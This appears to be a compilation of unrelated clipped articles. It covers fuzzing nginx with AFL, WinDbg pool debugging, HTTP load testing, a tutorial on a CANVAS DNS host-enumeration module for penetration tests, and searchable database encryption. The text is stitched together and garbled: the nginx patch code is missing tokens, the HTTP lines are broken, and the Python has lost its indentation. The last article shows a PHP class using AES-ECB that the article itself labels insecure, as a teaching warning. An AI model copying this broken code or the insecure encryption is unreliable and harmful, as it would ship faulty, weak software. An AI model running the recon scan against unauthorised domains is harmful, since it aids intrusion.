    Server: nginx/1.8.0
    Date: Tue,  Apr  09:18:51 GMT
    Content-Type: text/html
    Content-Length: 612
    Last-Modified: Mon,  Apr  08:45:32 GMT
    Connection: close
    ETag: "553df72c-264"
    Accept-Ranges: bytes
    
    <!DOCTYPE html>
    <html>
    <head>
    <title>Welcome to nginx!</title>
    <style>
        body 
    	            width: 35em
    			           margin:  auto
    					           font-family: Tahoma, Verdana, Arial, sans-serif
    						       
    </style>
    </head>
    <body>
    <h1>Welcome to nginx!</h1>
    <p>If you see this page, the nginx web server is successfully installed and
    working. Further configuration is required.</p>
    
    <p>For online documentation and support please refer to
    <a "http://nginx.org/">nginx.org</a>.<br/>
    Commercial support is available at
    <a "http://nginx.com/">nginx.com</a>.</p>
    
    <p><em>Thank you  using nginx.</em></p>
    </body>
    </html>
[/code]

This is successful.. almost. The problem you now see is that nginx never
actually exists. To get around this, we had to patch nginx itself.
Specifically, at line 262, I added this:

[code]

    static  first_fd  
         first_fd  
                first_fd  max_fd
    
        max_fd  first_fd 
                printf"Exiting cleanly
                
        
[/code]

I’m sure there’s a better place to patch, but this seemed to be the easiest
for me to find. Specifically, when it knows it’s been through the event loop
once before and actually accepted a connection already, it’ll log as such and
exit.

Now, let’s get a proper test case up and running. I created _testcases/in.txt_
, based on a standard HTTP connection:

[code]

    GET / HTTP/1.1
    Acceptx: text/html, application/xhtml+xml, */*
    Accept-Language:en-AU
    User-Agent: Mozilla/5.0 Windows NT 6.1 WOW64 Trident/7.0 rv:11.0 like Gecko
    Accept-Encoding: gzip, deflate
    Host: lolware.net
    DNT: 1
    Connection: Keep-Alive
    Cookie: regregergeg
[/code]

Now let’s execute it and see how that looks:

[code]

    $ LD_PRELOAD"/patch/preeny/Linux_x86_64/desock.so "  ./nginx < testcases/in.txt
    --- Emulating on port 8020
    HTTP/1.1  OK
    Server: nginx/1.8.0
    Date: Tue,  Apr  09:43:26 GMT
    Content-Type: text/html
    Content-Length: 612
    Last-Modified: Mon,  Apr  08:45:32 GMT
    Connection: keep-alive
    ETag: "553df72c-264"
    Accept-Ranges: bytes
    
    <!DOCTYPE html>
    <html>
    <head>
    <title>Welcome to nginx!</title>
    <style>
        body 
            width: 35em
            margin:  auto
            font-family: Tahoma, Verdana, Arial, sans-serif
        
    </style>
    </head>
    <body>
    <h1>Welcome to nginx!</h1>
    <p>If you see this page, the nginx web server is successfully installed and
    working. Further configuration is required.</p>
    
    <p>For online documentation and support please refer to
    <a "http://nginx.org/">nginx.org</a>.<br/>
    Commercial support is available at
    <a "http://nginx.com/">nginx.com</a>.</p>
    
    <p><em>Thank you  using nginx.</em></p>
    </body>
    </html>
    Exiting cleanly
    
[/code]

That right there is perfect. It takes the input file from stdin, and passes it
to nginx, outputs the HTML web content, then quits.

Now all that’s neccessary is to run it under afl-fuzz:

[code]

    $ LD_PRELOAD="/home/technion/attack/preeny/Linux_x86_64/desock.so " /home/technion/afl-1.61b/afl-fuzz -i testcases -o findings ./nginx
    
[/code]

Now hang on, this’ll run for a while.

# Interpreting \!pool results part II: Large Pool odditiesIn my previous post
Interepeting \!pool results, I talked about the \!pool command and walked
through the output. However, I purposefully left off a couple of details when
it comes to non-standard pool

**Created:**| _2/15/2011 8:10:07 AM_  
---|---  
**Updated:**| _2/15/2011 8:10:40 AM_  
**Author:**| __  
**Tags:**| _Debugging windows security windows environment_  
  

## Interpreting \!pool results part II: Large Pool oddities

In my previous post **Interepeting****\!pool results**, I talked about the
_\!pool_ command and walked through the output. However, I purposefully left
off a couple of details when it comes to non-standard pool allocations, such
as allocations from special pool and large pool allocations. This led to a
question from a reader asking for an explanation of the strange output they
were seeing when running _\!pool_ on a particular allocation:

<img src='img/Temp2_4498.png' width='643' height='177' />

Note how there appears to be two entries for a single allocation, one showing
this as a freed allocation and the other saying that it is a valid, “large
page allocation” of 0x2bc0 bytes. What’s up with that?

The answer is that large pool allocations are treated differently from other
types of allocations. An allocation is considered to be a large allocation if
it cannot fit within a page of memory \(as defined by the architecture, i.e.
4K on the x86/x64\) minus the overhead of the pool header required on the
block. So, for example, an allocation of PAGE\_SIZE bytes would be considered
a large page allocation and thus tracked as such.

A large allocation is unique in that it does not contain a POOL\_HEADER
structure. Instead, the caller is returned a page aligned virtual address and
the pool header is tracked in a global variable in the system. When a page
aligned addressed is freed back to the allocator, the large pool table is
consulted to determine if the allocation is indeed a large page so that the
memory can be freed properly \(**_NOTE:_** on legacy systems such as XP, this
was managed a bit differently and the global table was only maintained when
pool tracking was enabled via GFlags\).

Now we can begin to unravel why the  _\!pool_ output above is confused.
Remember from the previous post that when supplied with an address,  _\!pool_
will round the address down to PAGE\_SIZE and interpret the result as a
POOL\_HEADER structure. However, in this case the address supplied is the base
of a large pool allocation, thus it does not start with a POOL\_HEADER
structure. So what we have is the first bytes of this driver’s pool allocation
being interpreted as a POOL\_HEADER:

<img src='img/Temp2_4496.png' width='530' height='202' />

This is effectively garbage and thus the walk to the next entry fails.
However, before reporting an error  _\!pool_ decides to consult the large pool
allocation table  _nt\!PoolBigPageTable_ to determine if this is a valid large
pool allocation \(the structure of this table is not documented, however if
you’re interested enough to care it’s easy enough to figure out <img
src='img/Temp2_4497.png' alt=':)' /> \). In this case an entry is found, thus
we get a successful hit and the output corrects itself.

I consider this to be a bug in the implementation, it would be better to look
at the large pool allocation table first and then fall back to interpreting it
as a pool header if it is not found. While this would be more overhead in the
common case, it would make the less common case a little less confusing. As
such, I have reported it as a bug and hopefully we’ll get a fix in the future.

# mnot’s blog: On HTTP Load Testing

**Created:**| _5/18/2011 11:04:09 AM_  
---|---  
**Updated:**| _5/18/2011 11:04:09 AM_  
**Author:**| __  
**Tags:**| _software testing network-security_  
  

# mnot’s blog

“Design depends largely on constraints.” — Charles Eames

recent entries all entries feed

Wednesday, 18 May 2011

## On HTTP Load Testing

A lot of people seem to be talking about and performing load tests on HTTP
servers, perhaps because there’s a lot more choice of servers these days.

That’s great, but I see a lot of the same mistakes being made, making the
conclusions doubtful at best. Having spent a fair amount of time benchmarking
high-performance proxy caches and origin servers for my day job, here are a
few things that I think are important to keep in mind.

It’s not the final word, but hopefully it’ll help start a discussion.

### 0\. Consistency.

The most important thing to get right is to test the same time, every time.
Any changes in the system — whether its an OS upgrade or another app running
and stealing bandwidth or CPU — can affect your test results, so you need to
be aggressive about nailing down the test environment.

While it’s tempting to say that the way to achieve this is to run everything
on VMs, I’m not convinced that adding another layer of abstraction \(as well
as more processes running on the host OS\) is going to lead to more consistent
results. Because of this, dedicated hardware is best. Failing that, just run
all of the tests you can in one session, and make it clear that comparisons
between different sessions don’t work.

### 1\. One Machine, One Job.

The most common mistake I see people making is benchmarking a server on the
same box where the load is generated. This doesn’t just put your results out a
little bit, it makes them completely unreliable, because the load generator’s
“steal” of resources varies depending on how the server handles the load,
which depends on resource availability.

The best way to maintain consistency is to have dedicated, separate hardware
for the test subject and load generator, and to test on a closed network. This
isn’t very expensive; you don’t need the latest-and-greatest to compare apples
to apples, it just has to be consistent.

So, if you see someone saying that they benchmarked on localhost, or if they
fail to say how many boxes they used to generate and serve the load, ignore
the results; at best they’ll only be a basic indication, and at the worst
the’ll be very misleading.

### 2\. Check the Network.

Before each test, you need to understand how much capacity your network has,
so that you’ll know when it’s limiting your test, rather than the server
your’e testing.

One way to do this is with iperf:

[code]

    qa1:~> iperf -c qa2
    ------------------------------------------------------------
    Client connecting to qa2, TCP port 5001
    TCP window size: 16.0 KByte (default)
    ------------------------------------------------------------
    [  3] local 192.168.1.106 port 56014 connected with 192.168.1.107 port 5001
    [ ID] Interval       Transfer     Bandwidth
    [  3]  0.0-10.0 sec  1.10 GBytes   943 Mbits/sec
    
[/code]

… which shows that I have about 943 Mbits a second available on my Gigabit
network \(it’s not 1,000 because of TCP overheads\).

Once you know the bandwidth available, you need to make sure that it isn’t a
limiting factor. There are a number of ways to do this, but the easiest is to
use a tool that keeps track of the traffic in use. For example, httperf shows
bandwidth use like this:

[code]

    Net I/O: 23399.7 KB/s (191.7*10^6 bps)
    
[/code]

… which tells me that I’m only using about 192 Mbits of my Gigabit in this
test.

Keep in mind that the numbers you see from a load generation tool are not
going to include the overhead of TCP, and if your load varies throughout the
test, it can burst higher than the average. Also, sheer bandwidth isn’t the
whole story — for example, if you’re using cheap NICs or switches \(you are
using a switch, right?\), they can be swamped by the sheer number of network
segments flying around.

<img src='img/Screen%20shot%202011-05-17%20at%203.51.46%20PM.png' width='204'
height='183' alt='Screen Shot 2011-05-17 At 3.51.46 Pm' />

For all of these reasons and more, it’s a good idea to make sure your tests
don’t get very close to the available bandwidth you measure; instead, make
sure the bandwidth used doesn’t exceed a proportion of it \(e.g., 2/3\).
Monitoring your network \(both the interfaces and the switch\) for errors and
peak rates is also a good idea.

### 3\. Remove OS Limitations.

Likewise, you need to make sure that the operating system doesn’t impose
artificial limits on your server’s performance.

TCP tuning is somewhat important here, but it’ll affect all test subjects
equally. The important thing is to make sure that your server doesn’t run out
of file descriptors.

### 4\. Don’t Test the Client.

Modern, high-performance servers make it very easy to mistake limitations in
your load generator for the capacity of the server you’re testing. So, check
to make sure your client box isn’t maxed out on CPU, and if there’s any doubt
whatsoever, use more than one load generation box to double-check your numbers
\(autobench makes this relatively painless\).

It also helps to assure that your load generation hardware is better than the
server hardware you’re testing; e.g., I generate load with a four-core i5-750
box, and run the server on a slower, two-core i3-350 box, often only using one
of the cores.

Another factor to be mindful of is client-side errors, especially running out
of ephemeral ports. There are lots of strategies for this, from expanding the
port range on your box, to setting up multiple interfaces on the box and
making sure that the client uses them \(sometimes tricker than it sounds\).
You can also tune the TIME\_WAIT period \(as long as it’s ONLY a test box\!\),
or just use HTTP persistent connections and aggressive client-side timeouts to
make sure your connection rate doesn’t exceed available ports.

One of the things I like about httperf is that it gives a summary of errors at
the end of the run:

[code]

    Errors: total 0 client-timo 0 socket-timo 0 connrefused 0 connreset 0
    Errors: fd-unavail 0 addrunavail 0 ftab-full 0 other 0
    
[/code]

Here, the server-originated issues are on the first line \(such as the request
timing out due to the server exceeding the `--timeout` option, or when it
refuses or resets a connection\), and the client-side errors \(like running
out of file descriptors or addresses\) on the second line.

This helps you know when the test itself is faulty.

### 5\. Overload is not Capacity.

Many — if not most — load generation tools will by default throw as much load
as they can at a server, and report that number back.

This is great for finding out how your server reacts to overload — an
important thing to know — but it doesn’t really show the capacity of your
server. That’s because pretty much every server loses some capacity once you
throw more work at it than it can handle.

A better way to get an idea of capacity is to test your server at
progressively higher loads, until it reaches capacity and then backs off; you
should be able to graph it as a curve that peaks and then backs off. How much
it backs off will indicate how well your server deals with overload.

autobench is one way to do this with httperf; it allows you to specify a range
of rates to test at, so that you can generate graphs like this:

<img src='img/apache-worker.jpg' width='505' height='400' alt='Apache-Worker'
/>

Here, you can see that, for the smallest response size, the server peaks at
16,000 responses/second, but quickly drops down to 14,000 responses/second
under overload \(with a corresponding jump up to about 60ms response
latency\). Other response sizes don’t drop as much when overloaded, but you
can see the error bars pop up, which shows it struggling.

### 6\. Thirty Seconds isn’t a Test.

It takes a while for the various layers of buffers and caches in the
applications, OS and network stacks to stabilise, so a 30 second test can be
very misleading. If you’re going to release numbers, test for at least three
minutes, preferably more like five or ten.

### 7\. Do More than Hello World.

Finding out how quickly your implementation can serve a 4-byte response body
is an interested but extremely limited look at how it performs. What happens
when the response body is 4k — or 100k — is often much more interesting, and
more representative of how it’ll handle real-life load.

Another thing to look at is how it handles load with a large number — say,
10,000 — of outstanding idle persistent connections \(opened with a separate
tool\). A decent, modern server shouldn’t be bothered by this, but it causes
issues more often than you’d think.

These are just two examples, of course.

### 8\. Not Just Averages.

If someone tells you that a server does 1,000 responses a second with an
average latency of 5ms, that’s great. But what if some of those responses took
100ms? They can still achieve that average. What if for 10% of the test
period, the server was only able to achieve 500 responses a second, because it
was doing garbage collection?

Averages are quick indicators, nothing more. Timelines and histograms contain
a lot of critical information that they omit. If your testing tool doesn’t
provide this information, find one that does \(or submit a patch, if it’s Open
Source\).

Here’s what httperf shows:

[code]

    Total: connections 180000 requests 180000 replies 180000 test-duration 179.901 s
    
    Connection rate: 1000.0 conn/s (99.9 ms/conn, <=2 concurrent connections)
    Connection time [ms]: min 0.4 avg 0.5 max 12.9 median 0.5 stddev 0.4
    Connection time [ms]: connect 0.1
    Connection length [replies/conn]: 1.000
    
    Request rate: 1000.0 req/s (.9 ms/req)
    Request size [B]: 79.0
    
    Reply rate [replies/s]: min 999.1 avg 1000.0 max 1000.2 stddev 0.1 (35 samples)
    Reply time [ms]: response 0.4 transfer 0.0
    Reply size [B]: header 385.0 content 1176.0 footer 0.0 (total 1561.0)
    Reply status: 1xx=0 2xx=0 3xx=0 4xx=1800 5xx=0
    
[/code]

Here, you can see not only the average response rates, but also a min, max and
standard deviation. Likewise for connection time.

### 9\. Publish it All.

A result given without enough information to reproduce it is at best a useless
statement that requires people to take it on faith \(a bad idea\), and at
worst an intentional effort to mislead. Publish your results with all of the
context of the test; not only the hardware you used, but also OS versions and
configurations, network setup \(with iperf results\), server and load
generator versions and configuration, workload used, and source code if
necessary.

Ideally, this would take the form of a repository \(e.g., on github\) that
allows anyone to reproduce your results \(for their hardware\) with as little
overhead as possible.

### 10\. Try Different Tools.

If you got this far, you might think I’m championing httperf and autobench
over other tools. While I’d like to have a single singing, dancing test tool,
httperf is unfortunately not it; for modern servers, it’s simply too slow,
mostly because it doesn’t implement an event loop. While that’s fine for
testing PHP apps that can do 50 or 500 requests a second, it’s completely
inadequate for testing modern Web servers that can do multiple tens of
thousands of requests a second without breaking a sweat.

Additionally, if you just use one tool, there’s a chance that there’s a weird
interaction between the client and server which disadvantages some
implementations more than others. For example, some tools don’t do persistent
connections in a way that works well with some servers, causing their numbers
to dip.

What I do like about httperf is covered above; its focus on statistics, error
reporting and customisable load rate makes it a great way to really get to
know your server, rather than just throw a lot of load at it. What I’m hoping
is that other load testing tools will take notice and start giving the same
level of information.

Another tool I’ve been using recently is siege; it doesn’t have quite the same
information available as httperf, but it does pretty well, and goes wicked
fast.

# WinDBG. From A to Z\!

**Created:**| _11/13/2010 4:02:41 PM_  
---|---  
**Updated:**| _11/13/2010 4:22:46 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security windows reversing conference-material
windows environment windbg awesome_  
  
<img src='img/Temp2_9531' />

# Tutorial: This Week in CANVAS Coding \(Part I\)

**Created:**| _5/19/2009 11:41:17 AM_  
---|---  
**Updated:**| _5/19/2009 11:41:30 AM_  
**Author:**| __  
**Tags:**| _python Tutorials_  
  
This tutorial assumes you've got a good familiarity with Python or some
programming experiance. One of the goals of Python is to make it readable for
people who may not be Python gurus \(unlike, say, Perl\), so if you're
familiar with any modern language you should be able to follow along. Please
note that this is not a Python tutorial in and of itself, this is a tutorial
on writing basic CANVAS modules which are written in Python. When looking at
lines of source, I'm going to observe the "code // comment" format for ease of
reading, proper python comments use \#.  
  
If you have no Python experience I strongly recommend that you look at the
Built-in Types reference for Python, you'll need to understand: dictionaries
and lists as well as try/except conventions.  
  
**At the end of this tutorial you will be able to**  

  * Recognize the major parts of a CANVAS module
  * Be more comfortable reading the source
  *  _Hopefully_ be tempted to complete this exercise on your own\!

  
**Introduction - Getting an IDE**  
One aspect of Python is that white space matters, so for example:  
  
if \(2 > 1\):  
Print "Hooray\!"  
  
Note there's not the traditional C style \{\} brackets to diferentiate what's
executed after the if, the white space takes care of that. Taking care of
spacing is obviously important in Python and one of the many reasons to have
something like an IDE take care of it for you, as well as syntax highlighting,
completion, reference, etc. There are a ton of open source IDEs for most
operating systems available \(vi, emacs, eclipse, kdevelop\) that are
perfectly serviceable. Most members of the Immunity dev team use Wing IDE to
write CANVAS, it's not free but it's feature rich and designed for Python.  
  
**The Module**  
The module we'll be looking at today is a very simple but effective
reconnaissance module. When doing a pentest for a customer you may receive a
directive of "everything in my domain is fair game" so having a solid idea of
what hosts are in that domain becomes valuable. Most administrators lock down
anonymous zone transfers \(though you'd be surprised\) so you're left with
attempting a dictionary style attack against the DNS server. The technique is
easy: combine a list of potential host names with the domain then attempt to
resolve them. Record the hits and you have a nice easy list of hosts to
investigate.  
  
The source we'll be looking at today is a neutered version of a module that
was developed in February and included in the March 2009 CANVAS Release. The
release version will be much more complete than what we look at here, the idea
behind this tutorial is to make something short and simple to encourage folks
to get their feet wet with CANVAS.  
  
**Installation**  
Create a new directory in your CANVAS\exploits directory called dnsexample
save the source below as dnsexample.py  
  
**Source:**  
import sys  
if "." not in sys.path: sys.path.append\("."\)  
import os, socket  
  
import timeoutsocket  
from exploitutils import \*  
import canvasengine  
from canvasexploit import canvasexploit  
  
NAME= "DNSExample"  
DESCRIPTION= "Attempt to enumerate hosts in a domain"  
VERSION= "1.0"  
DOCUMENTATION = \{\}  
DOCUMENTATION\['VENDOR'\]="None"  
DOCUMENTATION\["Date public"\]="00/00/00"  
DOCUMENTATION\["CERT Advisory"\]="None"  
DOCUMENTATION\["Repeatability"\]="Infinite"  
DOCUMENTATION\["References"\] = "None"  
DOCUMENTATION\["CVE Name"\] = "None"  
DOCUMENTATION\["CVE Url"\] = "None"  
DOCUMENTATION\["Notes"\]="""  
Very simple module, reads in a list and attempts to fetch the A records for
the host+domain combo.  
"""  
  
PROPERTY = \{\}  
PROPERTY\["TYPE"\]= "Recon"  
PROPERTY\["SITE"\]= "Remote"  
PROPERTY\["ARCH"\]= \[ \["All"\] \]  
PROPERTY\["VERSION"\]= \[\]  
  
targets = \{\}  
  
class theexploit\(canvasexploit\):  
def \_\_init\_\_\(self\):  
canvasexploit.\_\_init\_\_\(self\)  
self.domain = ""  
self.hostfile = ""  
self.debug = False  
  
def getargs\(self\):  
self.hostfile =
self.argsDict.get\("sourcedata",os.path.join\(self.engine.config\["canvas\_resources"\],
"dns.txt"\)\)  
self.domain = self.argsDict.get\("domain",self.domain\)  
return  
  
def usage\(self\):  
\#  
\# Standard options don't apply here  
print "="\*10  
print "Tries to resolve a list of hosts for a given domain"  
print "Usage: dnsexample.py -O hostfile:<file> -O domain:<domain>"  
print "ex: dnsexample.py -O Resources/dns.txt -O domain:example.com"  
print "="\*10  
  
def scan\(self, hostList\):  
\#  
\# Do the scan  
foundHosts = \{\} \# \{hostName : ip\}  
for host in hostList:  
hostDomain = host + self.domain  
try:  
ip = socket.gethostbyname\(hostDomain\)  
self.log\("Found host %s at %s"%\(hostDomain, ip\)\)  
foundHosts\[hostDomain\] = ip  
except socket.gaierror, error:  
if self.debug == True:  
print "Error: %s"%error  
else:  
pass  
return foundHosts  
  
  
def run\(self\):  
\#  
\# Grab CLI arguments  
self.getargs\(\)  
  
\#  
\# Start the module  
try:  
file = open\(self.hostfile, 'r'\)  
except:  
self.log\(\("Couldn't open file: %s ... aborting"%self.hostfile\)\)  
return 0  
else:  
hostList = file.read\(\).splitlines\(\)  
file.close\(\)  
  
\#  
\# Exclude lines containing \# or blank lines  
tempList = \[\]  
for host in hostList:  
if "\#" in host or host == "":  
tempList.append\(host\)  
for host in tempList:  
hostList.remove\(host\)  
if len\(hostList\) == 0:  
self.log\("Hostfile contained 0 lines, exiting"\)  
return 0  
  
\#  
\# Standarize our input a bit  
if self.domain\[0\] \!= ".":  
self.domain = "." + self.domain  
  
foundHosts = self.scan\(hostList\)  
  
\#  
\# Let's output our results  
if len\(foundHosts\) > 0:  
\#  
\# Your output code goes here\! Remove pass <img src='img/Temp2_8581.gif'
alt='Smiley' />  
\#  
pass  
else:  
self.log\("No results were found for this domain"\)  
return 0  
  
  
if \_\_name\_\_== '\_\_main\_\_':  
print "Running CANVAS %s Exploit v %s"%\(DESCRIPTION,VERSION\)  
app = theexploit\(\)  
ret = standard\_callback\_commandline\(app\)  
  
**Modules Section 1: Imports**  
The import section of CANVAS modules can be found at the beginning of each
module and is relatively static across most modules.  
  
The following lines are required:  
import sys  
if "." not in sys.path: sys.path.append\("."\)  
from exploitutils import \*  
  
After that you can import as needed, for ours we'll need to add:  
import timeoutsocket // Since we're using socket  
from exploitutils import \* // Standard CANVAS requirement  
import canvasengine // Same as above  
from canvasexploit import canvasexploit // Because we're not getting wonky
with tcp/udp this is a canvasexploit  
  
**Modules Section 2: Standard Variables**  
As with all variables be sure to remember that capitalization counts\!  
  

<img src='img/Temp2_8584.gif' />

  
_NAME_ = The name of the module  
 _DESCRIPTION_ = Usually the name of the thing we're attacking and the type of
attack  
 _VERSION_ = Version tracking, when it doubt set to "1.0"  
  
Non-Required Variables:  
_NOTES_ = This doesn't appear in the GUI but you can leave yourself reminders.  
 _CHANGELOG_ = Note your modifications to the source  
  
**Modules Section 3: Information Dictionaries**  
Since CANVAS 6.42 we've had support for Searching across our modules, the
DOCUMENTATION and PROPERTY dictionaries provide the data that Search indexes.  
  

<img src='img/Temp2_8588.gif' />

  
DOCUMENTATION has several required elements:  
_VENDOR_ = Who made the product we're attacking  
 _Repeatability_ = How many times can we try this before we crash the host or
lose the vulnerable condition?  
_CVE Name_ = Takes the format of CVE-YYYY-NNNN  
 _CVE Url_ = http://cve.mitre.org/...  
_NOTES_ = This does appear in the GUI, it's a good idea to write a few
sentences describing how the module achieves its goal or some limitations  
  
Non required but useful elements for DOCUMENTATION:  
_Date public_ = MM/DD/YY  
 _References_ = If your modifying a PoC or using someone's example, stick the
URL for where you found it here.  
_OSVDB_ = Everyone loves an OSVDB URL  
  

<img src='img/Temp2_8580.gif' />

  
The PROPERTY dictionary has three required values  
 _TYPE_ = Exploit, Web Exploit, DoS, Tools, Recon  
 _SITE_ = Remote, Local, Clientside  
 _ARCH_ = A list of the Operating Systems and chip architectures supported  
  
**Module Section 4: The Exploit Class and \_\_init\_\_**  
In general, the flow of execution through a CANVAS module is: theexploit ->
\_\_init\_\_ -> run -> getargs -> core module functionality ->
other\_functions. Things get a bit more complex when dealing with the GUI,
however here we're going to focus on writing for the command line. If this
file is executed directly then the if \_\_name\_\_ == "\_\_main\_\_":  
construct is a little python idiom that does stuff that is not done if this
file is called indirectly, this section appears near the bottom of the code
but deals with startup. Things get much more complicated when we start talking
about the actual CANVAS engine and how modules are fed to it, but that's
beyond the scope of this tutorial.  
  
The \_\_init\_\_ function, as you might expect, is where you initialize
variables you'll be using in the module. You may be saying to yourself, "but
AlexM, you don't need to initialize variables in Python\!" And you'd be
entirely correct\! It might be easier to think of this as instantiating a
variable by providing it a default value. Let's take a look at what some of
these lines mean:  
  
_self.domain_ = The domain we're attacking  
 _self.hostfile_ = The host file we're going to pull hosts from  
 _self.debug_ = Useful for error reporting when you need it  
  
**Module Section 5: getargs\(\)**  
Another appropriately named function\! Here we're going to grab arguments that
we allow the user to have direct control over. No screenshot here since
there's a ridiculously long source line involved <img src='img/Temp2_8581.gif'
alt='Smiley' />  
  
self.hostfile =
self.argsDict.get\("hostfile",os.path.join\(self.engine.config\["canvas\_resources"\],
"dns.txt"\)\)  
self.domain = self.argsDict.get\("domain",self.domain\)  
  
What these two lines do is check to see if these arguments were passed as part
of the module start up \(either via the GUI or the CLI\) and if not, leaves
them alone or sets a default. For those who are familiar with running CANVAS
from the commandline, you can pass special arguments directly into the module
with -O arg:val, i.e. -O ssl:False.  
  
**Module Section 6: usage\(\)**  

<img src='img/Temp2_8585.gif' />

  
This is an optional function, if CANVAS sees that it's here it will execute it
if 0 arguments are passed when calling the module from the commandline. If
this function is not present then a standard CANVAS usage message is
displayed. Since this module only uses special arguments \(i.e. there's no
callback\) it makes sense to write our own usage function.  
  
**Modules Section 7: run\(\)**  
We're going to step out of the order the functions appear in the module to
follow a more logical progression. This run function is a little lengthy for
my tastes as a programmer but we want to make things as simple as possible for
this module, so we'll break run out into a few sections.  
  

<img src='img/Temp2_8587.gif' />

  
The first thing we want to do is grab the hosts from our flat text file, to do
that we'll need to open it\! Try/Except is a great Python tool for doing this:
The instruction in Try: is executed, if it fails then the instructions in
Except: are executed, if the instruction in Try is successful execution passes
into the Else: clause if it exists. So what we're doing here is telling python
to try and open the file, if it can't I want it to bail out with a message
telling me why, if it can then I want it to continue reading in the file.
file.read\(\).splitlines\(\) will return a list where each member of the list
is a string corresponding to a consecutive line of text.  
  
As an aside, you can really extend the exception clause to do whatever you
want by grabbing the exceptions that might occur, this allows you to write
some really user friendly programs and make your life easy for QA. Here things
are simple so we'll keep it that way.  
  

<img src='img/Temp2_8583.gif' />

  
The host file we used for development of this module had some blank lines and
\#'s used to indicate comments. So what we need to do now is parse those out
because we don't want to use them as a host name.  
  
The first for loop iterates over each member of hostList and if it finds a
line containing \# or a blank line, it records it in a separate list. Once
finished tempList now holds all the lines we don't want in our hostList. A
note on output, self.log is a CANVAS function that will add the text to the
CANVAS.log file and will have a bit of formatting added to it therein.  
  
The second for loop iterates over each member in tempList and then removes
them from the hostList. So now our hostList should only contain valid hosts.  
  
The if statement makes sure we have hosts to use\! If we read in a file that
was only comments and blank lines, the rest of the module would fail since
there would be nothing to resolve. So we'll save ourselves the trouble and
bail out if that's the case.  
  

<img src='img/Temp2_8586.gif' />

  
I added a bit of user friendly code here. When we do our lookups we'll want a
FQDN to look like: host.domain.TLD or host.TLD , specifically we need to make
sure our domain or TLD is prefaced with a period. So if we didn't receive one
when we read in our arguments, we'll add it. In python you can think of
strings as a list of characters, so since self.domain is a string we're asking
python to check the character in position 0, which is the first character in
our string.  
  
Finally, we're ready to start resolving hosts\!  
  
**Modules Section 8: scan**  
This section might be a little hard to follow since we're using the dictionary
datatype which can be confusing for folks new to Python. But we'll break it
down and soon it'll make sense\!  
  

<img src='img/Temp2_8582.gif' />

  
The first thing we do in this function is declare our dictionary, it's a good
habbit to get into to add a comment giving the structure of your dictionary.
Here we've got two logical strings, the hostName which will be the FQDN of the
target and IP which is the resolved IP address.  
  
Now, we'll try to resolve each host in our hostList. Because we're going to be
referring to this string combination multiple times in this function, I'll go
ahead and make a proper variable out of it called hostDomain.  
  
Next we're going to try and resolve the host, we do this using a built in
Python method for socket, gethostbyname \(if you're used to the classic
getbyhostname function from yesteryear then this can be annoying to write\).
If we're able to resolve the host name, let's save it into our dictionary. If
we fail we have a few options.  
  
If we've got debugging turned on, then we can see the exact error we're
dealing with. This can be useful if you're having network errors or the like,
but in general we can let these exceptions pass so we make that the default
case. Important to note, these errors are not logged to your CANVAS.log file
because we're using the built in Python function print, rather than the CANVAS
function self.log which we talked about earlier.  
  
Once we're done with all the hosts in hostList, we'll send our results back to
run, in this case it'll be the dictionary of the format we specified above.  
  
**Conclusions**  
We've taken a look at the internals of a CANVAS module and I'm hoping that it
wasn't as scary as you were fearing. Writing CANVAS modules can be daunting at
first \(it was for me\!\) but once you understand their structure you can
write simple modules relatively easily.  
  
**Homework**  

<img src='img/Temp2_8589.gif' />

  
Currently this module only sends output to your terminal window and
CANVAS.log, your assignment is to write out a simple piece of code in the area
above to save the output to a file. The first person to reply to this post
with the requisite code will receive a prize\! I will personally mail you a
roll of Smarties candy to anywhere in the world. Those associated with our 3rd
party partners are exempt from this offer as we already know you're stellar
Python programmers\!  
  
**Resources for Further Thought**  

  *  _Beginning Python_ by Norton, Samuel, Aitel et. al. - This is a really great step by step introduction to Python. \(Also a shameless plug, Dave is a co-author\)
  * _Python Essential Reference_ by David Beazley - is a good no-nonsense reference manual for Python
  * Python.org \- Naturally the place to go online for Python information
  * This week's tutorial was brought to you by The Talking Heads

# Building Searchable Encrypted Databases with PHP and SQL - Paragon
Initiative Enterprises Blog

**Created:**| _5/28/2017 11:09:33 AM_  
---|---  
**Updated:**| _5/28/2017 11:09:33 AM_  
**Author:**| __  
**Tags:**| _Databases crypto_  
  

  

## Building Searchable Encrypted Databases with PHP and SQL

May 25, 2017 7:14 am  by Scott Arciszewski

__ Security Engineering

We get asked the same question a lot \(or some remix of it\).

This question shows up from time to time in open source encryption libraries'
bug trackers. This was one of the "weird problems" covered in my talk at
B-Sides Orlando \(titled _Building Defensible Solutions to Weird Problems_\),
and we've previously dedicated a small section to it in one of our white
papers.

The question is, **How do we securely encrypt database fields but still use
these fields in search queries?**

Our secure solution is rather straightforward, but the path between most teams
asking that question and discovering our straightforward solution is fraught
with peril: bad designs, academic research projects, misleading marketing, and
poor threat modeling.

If you're in a hurry, feel free to skip ahead to the solution.

# Towards Searchable Encryption

Let's start with a simple scenario \(which might be particularly relevant for
a lot of local government or health care applications\):

  * You are building a new system that needs to collect social security numbers \(SSNs\) from its users.
  * Regulations and common sense both dictate that users' SSNs should be encrypted at rest.
  * Staff members will need to be able to look up users' accounts, given their SSN.

Let's first explore the flaws with the obvious answers to this problem.

## Insecure \(or otherwise ill-advised\) Answers

### Non-randomized Encryption

The most obvious answer to most teams \(particularly teams that don't have
security or cryptography experts\) would be to do something like this:

[code]

    <?php
    class InsecureExampleOne
    {
        protected $db;
        protected $key;
    
        public function __construct(\PDO $db, string $key = '')
        {
            $this->db = $db;
            $this->key = $key;
        }
    
        public function searchByValue(string $query): array
        {
            $stmt = $this->db->prepare('SELECT * FROM table WHERE column = ?');
            $stmt->execute([
                $this->insecureEncryptDoNotUse($query)
            ]);
            return $stmt->fetchAll(\PDO::FETCH_ASSOC);
        }
    
        protected function insecureEncryptDoNotUse(string $plaintext): string
        {
            return \bin2hex(
                \openssl_encrypt(
                    $plaintext,
                    'aes-128-ecb',
                    $this->key,
                    OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING
                )
            );
        }
    }
    
[/code]

In the above snippet, the same plaintext always produces the same ciphertext,
when encrypted with the same key. But more concerning with ECB mode is that
every 16-byte chunk is encrypted separately, which can have some extremely
unfortunate consequences.

Formally, these constructions are not semantically secure: If you encrypt a
large message, you will see blocks repeat in the ciphertext.

In order to be secure, encryption must be indistinguishable from random noise
to anyone that does not hold the decryption key. Insecure modes include ECB
mode and CBC mode with a static \(or empty\) IV.

You want non-deterministic encryption, which means each message uses a unique
nonce or initialization vector that never repeats for a given key.

